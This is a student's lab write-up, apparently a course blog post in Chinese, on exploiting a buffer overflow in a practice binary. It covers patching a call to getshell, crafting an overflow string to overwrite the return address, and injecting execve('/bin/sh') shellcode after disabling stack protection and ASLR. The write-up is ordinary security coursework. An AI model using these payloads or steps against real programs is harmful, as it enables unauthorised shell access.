20222817 2022-2023-2《网络攻防实践》第九周作业

目录

1.知识点梳理

1.1 缓冲区溢出攻击的基本概念

1.2 shellcode

1.3 汇编指令对应的机器码

2 实验过程

2.1 手工修改可执行文件,改变程序执行流程,使其直接跳转到getshell函数

2.2 利用foo函数的bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数

2.3 注入一个自己制作的shellcode并允许这段shellcode

3 学习中遇到的问题

4 学习感悟

5 参考文献


1.知识点梳理

1.1 缓冲区溢出攻击的基本概念

向缓冲区中填入过多的数据超出了边界,导致数据外溢,覆盖了相邻的内存空间,利用缓冲区溢出可以改写数据、改变程序执行流程,干扰系统运行,破坏系统完整性,任意执行恶意代码

1.2 shellcode

shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

1.3 汇编指令对应的机器码

NOP:机器码为0x90,表示空操作“no operation”,JNE:机器码0x75,判断指令,不相等就跳转“not equal"
JE:判断指令,机器码0x74,相等就跳转,JMP无条件跳转,CMP:机器码0x39,比较指令

2 实验过程

2.1 手工修改可执行文件,改变程序执行流程,使其直接跳转到getshell函数

先修改主机名为lrs,输入hostname lrs

然后新开终端,并对下载的pwn1文件改名,输入mv pwn1 pwn20222817 

输入objdump -d pwn20222817 | more 对该可执行文件进行反汇编 

分析指令,找到要修改的机器指令 

其中main函数中使用call 8048491来调用foo函数,该指令对应的机器码为e8 d7 ff ff ff,其中call的机器码为e8。要使其改为调用getshell函数,需要将指令改为call 804847d,而该指令对应的机器码为 e8 c3 ff ff ff ff,计算方式为0804847d - 080484ba = ff ff ff ff c3
使用vim查看该文件,并修改对应的机器指令
输入vim pwn20222817
打开以后是乱码,还需输入:%!xxd,将其转换为十六进制显示
输入/d7ff找到要修改的部分,然后修改d7为c3 

再输入:%!xxd -r恢复为原格式,然后保存退出
对修改后的文件进行验证,输入objdump -d pwn20222817| more 

修改成功,运行该程序测试下 

2.2 利用foo函数的bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数

foo函数会回显用户输入的字符串,当输入字符串个数超过0x1c=28字节后,就会造成缓冲区溢出漏洞,只需构造一个字符串,使其溢出,溢出部分覆盖原始的返回地址,变成getshell函数的起始地址即可,而在给字符串预留的28字节的上面4个字节存放的是main函数的栈底地址,再上面的4个字节就是返回地址,这样,我们要构造字符串的33-36字节为0x7d840408
使用perl可以将无法通过键盘输入的十六进制直接输入,并使用输出重定向“>”将perl生成的字符串存储到一个文件中。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20221901input 将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件20222817input中

输入xxd 20222817 input查看文件内容是否如愿 

输入(cat 20222817 input;cat) | ./20222817 pwn 

成功调用getshell函数

2.3 注入一个自己制作的shellcode并允许这段shellcode

要想注入一个自己的shellcode,就必须准确找到这段shellcode的地址,而由于程序执行过程的未知性,要准确找到shellcode的地址很难,因此为了提高准确性,可以在要注入的shellcode前面填充许多空操作nop,机器码为0x90,这样只要找到0x90的位置作为shellcode的起始地址进行覆盖就可以了
先设置栈可执行状态,输入execstack -s 20222817 pwn
输入execstack -q 20222817 pwn查询文件的栈是否可执行

输入echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
输入more /proc/sys/kernel/randomize_va_space查看地址随机化状态
构造一个shellcode,找到它的起始地址
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20221901input2
上面的\x4\x3\x2\x1就是覆盖到返回地址的位置,我们要把它改为shellcode的起始地址,先通过调试找下0x90的位置
输入perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20222817 input2 

再输入(cat 20222817 input2;cat) | ./20222817 pwn 

重新打开一个终端,输入ps -ef | grep 20222817 pwn 

查到该进程的进程号为2579
然后使用gdb进行调试
输入gdb
再输入attach 2579查看20222817pwn的进程
再输入disassemble foo

输入break *0x080484ae在0x080484ae处设置断点 

然后返回第一个终端按下回车,再返回第二个终端输入c继续运行,输入info r esp查看栈顶指针值,然后输入x/16x 0xffffd69c,发现0xffffd69c有值0x01020304 

这样就能算出shellcode的地址为0xffffd69c+0x00000004=0xffffd6a0
然后退出gdb,输入:perl -e 'print "A" x 32;print "\xa0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20221901input3
执行(cat 20221901input3;cat) | ./20222817 pwn
这样就得到shell了,输入ls测试 

3 学习中遇到的问题

问题1:gdb和execstack没有安装
apt-get install gdb
apt-get install execstack

4 学习感悟

通过本次学习让我对shellcode和缓冲区溢出攻击有了理解和掌握

5 参考文献

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值